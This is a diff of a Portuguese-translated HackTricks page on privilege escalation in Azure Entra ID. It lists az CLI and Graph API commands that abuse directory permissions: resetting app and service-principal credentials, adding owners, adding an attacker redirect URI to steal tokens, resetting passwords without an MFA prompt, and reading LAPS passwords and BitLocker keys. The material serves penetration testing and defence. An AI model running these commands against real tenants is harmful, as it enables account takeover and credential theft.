diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 08d5513b4..3adcc75aa 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,15 +3,15 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Observe que **nem todas as permissões granulares** que as built-in roles têm no Entra ID **são elegíveis para serem usadas em custom roles.** +> Observe que **nem todas as permissões granulares** que os built-in roles têm no Entra ID **são elegíveis para serem usadas em custom roles.** -## Funções +## Roles ### Role: Privileged Role Administrator Esta role contém as permissões granulares necessárias para poder atribuir roles a principals e para conceder mais permissões às roles. Ambas as ações podem ser abusadas para escalar privilégios. -- Atribuir role a um usuário: +- Atribuir role a um user: ```bash # List enabled built-in roles az rest --method GET \ @@ -48,7 +48,7 @@ az rest --method PATCH \ ] }' ``` -## Aplicações +## Applications ### `microsoft.directory/applications/credentials/update` @@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Isto permite as mesmas ações que `applications/credentials/update`, mas com escopo limitado a aplicações de diretório único. +Isso permite as mesmas ações que `applications/credentials/update`, mas limitado a aplicações de diretório único. ```bash az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -Ao se tornarem proprietários, um atacante pode manipular a aplicação, incluindo credenciais e permissões. +Ao adicionar a si mesmo como owner, um atacante pode manipular a aplicação, incluindo credenciais e permissões. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,24 +77,24 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Um atacante pode adicionar um redirect URI a aplicações que estão a ser usadas pelos usuários do tenant e, em seguida, compartilhar com eles login URLs que utilizem o novo redirect URL para roubar seus tokens. Observe que, se o usuário já estivesse autenticado na aplicação, a autenticação será automática, sem que o usuário precise aceitar nada. +Um atacante pode adicionar uma redirect URI a aplicações que estão sendo usadas por usuários do tenant e então compartilhar com eles login URLs que usam a nova redirect URL para roubar seus tokens. Note que, se o usuário já estava autenticado na aplicação, a autenticação será automática sem o usuário precisar aceitar nada. -Observe também que é possível alterar as permissões solicitadas pela aplicação para obter mais privilégios, mas, nesse caso, o usuário precisará aceitar novamente o prompt solicitando todas as permissões. +Note também que também é possível alterar as permissões que a aplicação solicita para obter mais permissões, mas, nesse caso, o usuário precisará aceitar novamente o prompt pedindo todas as permissões. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` -### Aplicações Privilege Escalation +### Applications Privilege Escalation -**Como explicado em [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era muito comum encontrar aplicações padrão que têm **permissões de API** do tipo **`Application`** atribuídas a elas. Uma permissão de API (como chamada no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API e executar ações sem um contexto de usuário (sem um usuário logado na aplicação), e sem precisar de roles do Entra ID para permitir isso. Portanto, é muito comum encontrar **aplicações com altos privilégios em cada tenant do Entra ID**. +**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** it was very common to find default applications that have **API permissions** of type **`Application`** assigned to them. An API Permission (as called in the Entra ID console) of type **`Application`** means that the application can access the API and perform actions without a user context (without a user login into the app), and without needing Entra ID roles to allow it. Therefore, it's very common to find **high privileged applications in every Entra ID tenant**. -Então, se um atacante tiver qualquer permissão/role que permita **atualizar as credenciais (secret o certificate) da aplicação**, o atacante pode gerar uma nova credencial e então usá-la para **autenticar-se como a aplicação**, obtendo todas as permissões que a aplicação tem. +Then, if an attacker has any permission/role that allows to **update the credentials (secret o certificate) of the application**, the attacker can generate a new credential and then use it to **authenticate as the application**, gaining all the permissions that the application has. -Note que o blog mencionado compartilha algumas **permissões de API** de aplicações padrão da Microsoft; no entanto, algum tempo após esse relatório a Microsoft corrigiu esse problema e agora não é mais possível fazer login como aplicações Microsoft. Contudo, ainda é possível encontrar **aplicações customizadas com altos privilégios que podem ser abusadas**. +Note that the mentioned blog shares some **API permissions** of common Microsoft default applications however some time after this report Microsoft fixed this issue and now it's not possible to login as Microsoft applications anymore. However, it's still possible to find **custom applications with high privileges that could be abused**. -Como enumerar as permissões de API de uma aplicação: +How to enumerate the API permissions of an application: ```bash # Get "API Permissions" of an App ## Get the ResourceAppId @@ -125,7 +125,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ```
-Encontrar as permissões de API de todas as aplicações e marcar Microsoft-owned APIs +Encontre todas as permissões de API das aplicações e marque as APIs de propriedade da Microsoft ```bash #!/usr/bin/env bash set -euo pipefail @@ -237,31 +237,31 @@ done < <(jq -c '.[]' <<<"$apps_json") ```
-## Principais de Serviço +## Service Principals ### `microsoft.directory/servicePrincipals/credentials/update` -Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se a principal de serviço tiver privilégios elevados, o atacante poderá assumir esses privilégios. +Isso permite que um atacante adicione credenciais a service principals existentes. Se o service principal tiver privilégios elevados, o atacante pode assumir esses privilégios. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> A nova senha gerada não aparecerá no web console, então isso pode ser uma forma stealth de manter persistência sobre um service principal.\ -> Pela API elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> A nova senha gerada não aparecerá no console web, então isso pode ser uma forma stealth de manter persistence em um service principal.\ +> Na API, elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute: +Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permission (`microsoft.directory/applications/allProperties/update`) que permite executar: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -Isso permite que um atacante adicione credentials a service principals existentes. Se o service principal tiver privilégios elevados, o atacante poderá assumir esses privilégios. +Isso permite que um atacante adicione credenciais a service principals existentes. Se o service principal tiver privilégios elevados, o atacante pode assumir esses privilégios. ```bash az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Semelhante às applications, esta permissão permite adicionar mais owners a um service principal. Possuir um service principal permite controlar suas credenciais e permissões. +Assim como em applications, essa permissão permite adicionar mais owners a um service principal. Ser owner de um service principal permite controlar suas credentials e permissions. ```bash # Add new owner spId="" @@ -279,13 +279,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> Depois de adicionar um novo owner, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método necessário para remover o owner. Portanto, você **não consegue remover owners hoje em dia**. +> Depois de adicionar um novo owner, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para deletar o owner. Então, **você não pode remover owners atualmente**. -### `microsoft.directory/servicePrincipals/disable` e `enable` +### `microsoft.directory/servicePrincipals/disable` and `enable` -Essas permissões permitem desabilitar e habilitar service principals. Um atacante poderia usar essa permissão para habilitar um service principal ao qual consiga obter acesso de alguma forma, a fim de escalar privilégios. +These permissions permitem desabilitar e habilitar service principals. Um atacante poderia usar essa permission para habilitar um service principal ao qual ele conseguisse acessar de alguma forma para escalar privilégios. -Observe que, para esta técnica, o atacante precisará de permissões adicionais para tomar posse do service principal habilitado. +Observe que, para essa technique, o atacante vai precisar de mais permissions para tomar controle do service principal habilitado. ```bash # Disable az ad sp update --id --account-enabled false @@ -295,7 +295,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Essas permissões permitem criar e obter credenciais para autenticação única (single sign-on), o que pode possibilitar o acesso a aplicações de terceiros. +Essas permissões permitem criar e obter credenciais para single sign-on, o que pode permitir acesso a aplicações de terceiros. ```bash # Generate SSO creds for a user or a group spID="" @@ -321,7 +321,7 @@ az rest --method POST \ ### `microsoft.directory/groups/allProperties/update` -Esta permissão permite adicionar usuários aos privileged groups, levando a privilege escalation. +Esta permissão permite adicionar usuários a grupos privilegiados, levando à escalada de privilégios. ```bash az ad group member add --group --member-id ``` @@ -329,12 +329,12 @@ az ad group member add --group --member-id ### `microsoft.directory/groups/owners/update` -Esta permissão permite tornar-se proprietário de grupos. O proprietário de um grupo pode controlar os membros e as configurações do grupo, potencialmente escalando privilégios no grupo. +Esta permissão permite tornar-se proprietário de grupos. Um proprietário de um grupo pode controlar a membresia e as configurações do grupo, potencialmente escalando privilégios para o grupo. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Nota**: Esta permissão exclui os role-assignable groups do Entra ID. +**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID. ### `microsoft.directory/groups/members/update` @@ -344,7 +344,7 @@ az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -Esta permissão permite atualizar a regra de associação de um grupo dinâmico. Um atacante poderia modificar as regras dinâmicas para se incluir em grupos privilegiados sem adição explícita. +Esta permissão permite atualizar a regra de associação em um grupo dinâmico. Um atacante poderia modificar regras dinâmicas para incluir a si mesmo em grupos privilegiados sem adição explícita. ```bash groupId="" az rest --method PATCH \ @@ -355,27 +355,41 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**Nota**: Esta permissão exclui grupos atribuíveis por função do Entra ID. +**Note**: Esta permissão exclui grupos atribuíveis a funções do Entra ID. ### Dynamic Groups Privesc -Pode ser possível que usuários escalem privilégios modificando suas próprias propriedades para serem adicionados como membros de dynamic groups. Para mais informações, consulte: +Pode ser possível que usuários escalem privilégios modificando suas próprias propriedades para serem adicionados como membros de dynamic groups. Para mais informações, verifique: {{#ref}} dynamic-groups.md {{#endref}} -## Usuários +## Users ### `microsoft.directory/users/password/update` -Esta permissão permite redefinir a senha de usuários não administradores, permitindo que um atacante potencial escale privilégios para outros usuários. Esta permissão não pode ser atribuída a funções personalizadas. +Essa permissão permite redefinir a senha de usuários que não são admin, permitindo que um possível atacante escale privilégios para outros usuários. Essa permissão não pode ser atribuída a custom roles. ```bash -az ad user update --id --password "kweoifuh.234" +# Update user password +userId="" +az ad user update --id $userId --password "kweoifuh.234" + +# Update user password without needing to change or use MFA on next sign-in +az rest --method PATCH \ +--uri "https://graph.microsoft.com/v1.0/users/$userId" \ +--headers "Content-Type=application/json" \ +--body "{ +\"passwordProfile\": { +\"forceChangePasswordNextSignInWithMfa\": false, +\"forceChangePasswordNextSignIn\": false, +\"password\": \"kweoifuh.234\" +} +}" ``` ### `microsoft.directory/users/basic/update` -Esse privilégio permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores dessas propriedades; portanto, essa permissão pode permitir que um usuário defina o valor de propriedade necessário para se tornar membro de um grupo dinâmico específico e escalar privilégios. +Este privilégio permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base em valores de propriedades, portanto, essa permissão poderia permitir que um usuário definisse o valor da propriedade necessária para ser membro de um grupo dinâmico específico e escalar privilégios. ```bash #e.g. change manager of a user victimUser="" @@ -391,9 +405,9 @@ az rest --method PATCH \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" ``` -## Políticas de Conditional Access & MFA bypass +## Políticas de Acesso Condicional & bypass de MFA -Políticas de Conditional Access mal configuradas que exigem MFA podem ser contornadas, verifique: +Políticas de acesso condicional mal configuradas que exigem MFA podem ser contornadas, verifique: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -403,7 +417,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Esta permissão permite que atacantes se atribuam como proprietários de dispositivos para obter controle ou acesso às configurações e dados específicos do dispositivo. +Esta permissão permite que atacantes se atribuam como owners de devices para obter controle ou acesso a configurações e dados específicos do device. ```bash deviceId="" userId="" @@ -414,7 +428,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -Essa permissão permite que atacantes associem sua conta a dispositivos para obter acesso ou contornar políticas de segurança. +Essa permissão permite que atacantes associem sua conta a devices para obter acesso ou contornar políticas de segurança. ```bash deviceId="" userId="" @@ -425,7 +439,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -Esta permissão permite que atacantes leiam as propriedades das credenciais de conta de administrador local armazenadas em backup para dispositivos ingressados no Microsoft Entra, incluindo a senha +Esta permissão permite que atacantes leiam as propriedades das credenciais de conta de administrador local com backup para dispositivos Microsoft Entra joined, incluindo a senha ```bash # List deviceLocalCredentials az rest --method GET \ @@ -440,7 +454,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Esta permissão permite acessar chaves do BitLocker, o que pode permitir que um atacante descriptografe drives, comprometendo a confidencialidade dos dados. +Esta permissão permite acessar chaves BitLocker, o que pode permitir que um atacante decripte unidades, comprometendo a confidencialidade dos dados. ```bash # List recovery keys az rest --method GET \